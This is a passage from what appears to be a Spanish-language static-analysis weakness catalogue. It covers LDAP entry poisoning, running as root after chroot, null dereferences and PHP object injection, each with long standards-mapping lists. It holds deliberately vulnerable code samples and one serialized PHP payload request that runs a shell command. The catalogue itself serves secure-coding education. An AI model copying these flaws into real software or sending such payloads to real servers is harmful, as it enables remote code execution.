[22] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
Una aplicación que realiza una búsqueda LDAP de devolución de objetos permitirá a los atacantes controlar la respuesta LDAP para ejecutar código arbitrario en el servidor.
Explanation
Un atacante capaz de manipular una respuesta LDAP, ya sea modificando la entrada en reposo o interceptando y modificando la respuesta sobre la marcha (ataque "man-in-the-middle") podrá inyectar atributos especiales de Java en la entrada LDAP. Al realizar una búsqueda de devolución de objetos, los atributos de Java se decodifican como objetos Java mediante la deserialización de Java o la eliminación de referencias de JNDI, lo que permite a los atacantes conseguir la ejecución remota de código en el servidor de aplicaciones que realiza la búsqueda.

La aplicación realiza una búsqueda de devolución de objetos estableciendo returningObjectFlag en true en la instancia de javax.naming.directory.SearchControls pasada al método search o mediante el uso de una función de biblioteca que establece esta marca en su nombre.

En este caso, la aplicación está utilizando el módulo de autorización de Spring Security LDAP que realiza búsquedas de devolución de objetos y, por lo tanto, es vulnerable a LDAP Entry Poisoning.

Ejemplo: El archivo de configuración de Beans siguiente configura la aplicación para utilizar el módulo LDAP de Spring Security como el proveedor de autenticación.


<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
References
[1] Introducing JNDI Injection and LDAP Entry Poisoning OpenText Fortify
[2] A Journey from JNDI/LDAP manipulation to remote code execution dream land BlackHat
[3] Standards Mapping - Common Weakness Enumeration CWE ID 20
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [3] CWE ID 020
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [4] CWE ID 020
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [4] CWE ID 020
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [6] CWE ID 020
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements (L1 L2 L3), 5.1.4 Input Validation Requirements (L1 L2 L3)
[15] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[16] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
desc.configuration.java.ldap_entry_poisoning
Abstract
El nivel de privilegio elevado necesario para realizar operaciones como, por ejemplo, chroot() debe descartarse justo después de que se realice la operación.
Explanation
Cuando un programa llama a una función con privilegios como, por ejemplo, chroot(), debe adquirir primero el privilegio root. Una vez completada la operación con privilegios, el programa debería descartar el privilegio root y restablecer el nivel de privilegios del usuario que realiza la llamada.
Ejemplo: el siguiente código llama a chroot() para restringir la aplicación a un subconjunto del sistema de archivos por debajo de APP_HOME a fin de impedir que un atacante utilice el programa para obtener acceso a los archivos ubicados en otra ubicación. A continuación, el código abre el archivo especificado por el usuario y procesa su contenido.


...
chroot(APP_HOME);
chdir("/");

FILE* data = fopen(argv[1], "r+");
...


La limitación del proceso en el directorio principal de la aplicación antes de abrir los archivos es una medida de seguridad valiosa. Sin embargo, la ausencia de una llamada a setuid() con valores distintos a cero implica que la aplicación sigue funcionando con los privilegios root innecesarios. Cualquier ataque con éxito que lleve a cabo un usuario malintencionado contra la aplicación puede provocar ahora un ataque de extensión de privilegios debido a que todas las operaciones maliciosas se realizarán con el privilegio de superusuario. Si la aplicación cambia al nivel de privilegios de un usuario que no sea root, los posibles daños se reducen considerablemente.
References
[1] A. Chuvakin Using Chroot Securely
[2] Standards Mapping - Common Weakness Enumeration CWE ID 272
[3] Standards Mapping - Common Weakness Enumeration Top 25 2023 [22] CWE ID 269
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000381, CCI-002233, CCI-002235
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-6 Least Privilege (P1), CM-7 Least Functionality (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-6 Least Privilege, CM-7 Least Functionality
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.3 Access Control Architectural Requirements (L2 L3), 1.4.3 Access Control Architectural Requirements (L2 L3), 10.2.2 Malicious Code Search (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[10] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 7.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 7.1.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 7.2.2
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.4 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3500 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3500 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000500 CAT II, APSC-DV-000510 CAT I, APSC-DV-001500 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.controlflow.cpp.least_privilege_violation
Abstract
El programa puede eliminar potencialmente la referencia de un puntero nulo, generando una NullException.
Explanation
Los punteros nulos suelen producirse debido a que se ha infringido alguna presuposición del programador.

La mayoría de los problemas con el puntero nulo provocan problemas generales de confiabilidad de software. Sin embargo, si un atacante puede desencadenar intencionadamente la eliminación de la referencia del puntero nulo, es posible que también pueda usar la excepción resultante para omitir la lógica de seguridad o para hacer que la aplicación revele información de depuración, la cual será valiosa para la planificación de ataques posteriores.

Ejemplo 1: en el siguiente código, el programador presupone que el sistema tiene siempre definida una propiedad denominada "cmd". Si un usuario malintencionado puede controlar el entorno del programa para que no se defina "cmd", el programa genera una excepción de puntero nulo al intentar llamar al método Trim().


string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [14] CWE ID 476
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [13] CWE ID 476
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [15] CWE ID 476
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [11] CWE ID 476
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [12] CWE ID 476
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[12] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 11.1.7 Business Logic Security Requirements (L2 L3)
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.null_dereference
Abstract
El programa podría desreferenciar un puntero nulo y, por lo tanto, ocasionar un error de segmentación.
Explanation
Las excepciones del puntero nulo normalmente se producen cuando una o varias de las hipótesis del programador se infringen. Hay al menos tres enfoques para este problema: comprobar después de desreferenciar, desreferenciar después de comprobar y desreferenciar después de almacenar. Se produce un error de desreferencia tras la comprobación cuando un programa desreferencia un puntero que puede ser null antes de comprobar si es null o no. Los errores de desreferencia tras la comprobación se producen cuando un programa realiza una comprobación explícita de null y procede a desreferenciar el puntero cuando se sabe que es null. Los errores de este tipo son normalmente el resultado de errores de escritura o descuidos del programador. Los errores de desreferencia tras el almacenamiento se producen cuando un programa establece de forma explícita un puntero en null y luego lo desreferencia. Con frecuencia, el error es el resultado de que un programador inicialice una variable en null cuando se declara.

La mayoría de los problemas del puntero nulo derivan en problemas generales de confiabilidad de software. Sin embargo, si un atacante puede desencadenar intencionadamente la desreferencia del puntero nulo, también puede ser capaz de usar la excepción resultante para eludir la lógica de seguridad y planear un ataque por denegación de servicio o hacer que la aplicación revele la información de depuración, la cual será valiosa para la planificación de ataques posteriores.

Ejemplo 1: en el código siguiente, el programador supone que la variable ptr no es NULL. Esta suposición se hace explícita cuando el programador desreferencia el puntero. Esta suposición luego queda contradicha cuando el programador contrasta ptr y NULL. Si ptr puede ser NULL al comprobarla en la instrucción if, entonces también puede ser NULL cuando se desreferencia y podría ocasionar un error de segmentación.


ptr->field = val;
...
if (ptr != NULL) {
...
}
Ejemplo 2: En el código siguiente, el programador confirma que la variable ptr es NULL y por eso lo desreferencia erróneamente. Si ptr es NULL cuando se comprueba en la instrucción if, entonces se produce una desreferencia de null que provocará un error de segmentación.


if (ptr == null) {
ptr->field = val;
...
}
Ejemplo 3: En el código siguiente, el programador olvida que la cadena '\0' es en realidad 0 o NULL; por lo tanto, puede desreferenciar un puntero nulo y provocar un fallo de segmentación.


if (ptr == '\0') {
*ptr = val;
...
}
Ejemplo 4: En el código siguiente, el programador establece explícitamente la variable ptr en NULL. A continuación, el programador desreferencia ptr antes de comprobar si en el objeto hay un valor null.


*ptr = NULL;
...
ptr->field = val;
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [14] CWE ID 476
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [13] CWE ID 476
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [15] CWE ID 476
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [11] CWE ID 476
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [12] CWE ID 476
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[12] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 11.1.7 Business Logic Security Requirements (L2 L3)
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.cpp.null_dereference
Abstract
El programa puede eliminar potencialmente la referencia de un puntero nulo, generando una NullPointerException.
Explanation
Los punteros nulos suelen producirse debido a que se ha infringido alguna presuposición del programador.

La mayoría de los problemas con el puntero nulo provocan problemas generales de confiabilidad de software. Sin embargo, si un atacante puede desencadenar intencionadamente la eliminación de la referencia del puntero nulo, es posible que también pueda usar la excepción resultante para omitir la lógica de seguridad o para hacer que la aplicación revele información de depuración, la cual será valiosa para la planificación de ataques posteriores.

Ejemplo: en el siguiente código, el programador presupone que el sistema tiene siempre definida una propiedad denominada "cmd". Si un usuario malintencionado puede controlar el entorno del programa para que no se defina "cmd", el programa genera una excepción de puntero nulo al intentar llamar al método trim().


String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [14] CWE ID 476
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [13] CWE ID 476
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [15] CWE ID 476
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [11] CWE ID 476
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [12] CWE ID 476
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[12] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 11.1.7 Business Logic Security Requirements (L2 L3)
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.null_dereference
Abstract
La deserialización de datos que no son de confianza permite la inyección de objetos PHP arbitrarios, lo cual puede provocar que el programa ejecute comandos malintencionados en nombre de un atacante.
Explanation
Las vulnerabilidades de inyección de objetos se producen cuando los datos que no son de confianza no se corrigen correctamente antes de transferirlos a la función unserialize(). Los usuarios malintencionados podrían transferir cadenas serializadas especialmente diseñadas a una llamada unserialize() vulnerable, dando como resultado la inyección de objetos PHP en el ámbito de la aplicación. La gravedad de esta vulnerabilidad depende de las clases disponibles en el ámbito de la aplicación. Las clases que implementan un método mágico PHP como __wakeup o __destruct serán interesantes para los atacantes dado que podrán ejecutar el código dentro de esos métodos.

Ejemplo 1: el siguiente código muestra una clase PHP que implementa el método mágico __destruct() y ejecuta un comando del sistema definido como una propiedad de clases. También hay una llamada no segura a unserialize() con datos proporcionados por el usuario.


...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...


En el Example 1, la aplicación puede estar esperando un objeto de User serializado, pero un atacante podría proporcionar una versión serializada de SomeAvailableClass con un valor predefinido para su propiedad command:


GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}


Se llamará al método destructor tan pronto como no haya otras referencias al objeto de $user y, a continuación, ejecutará el comando proporcionado por el atacante.

Los atacantes podrían encadenar diferentes clases declaradas cuando se llama al unserialize() vulnerable mediante una técnica conocida como "Programación orientada a las propiedades", que introdujo Stefan Esser durante la conferencia BlackHat de 2010. Esta técnica permite a un atacante volver a utilizar el código existente para diseñar su propia carga.
References
[1] Johannes Dahse, Nikolai Krein, and Thorsten Holz Code Reuse Attacks in PHP: Automated POP Chain Generation
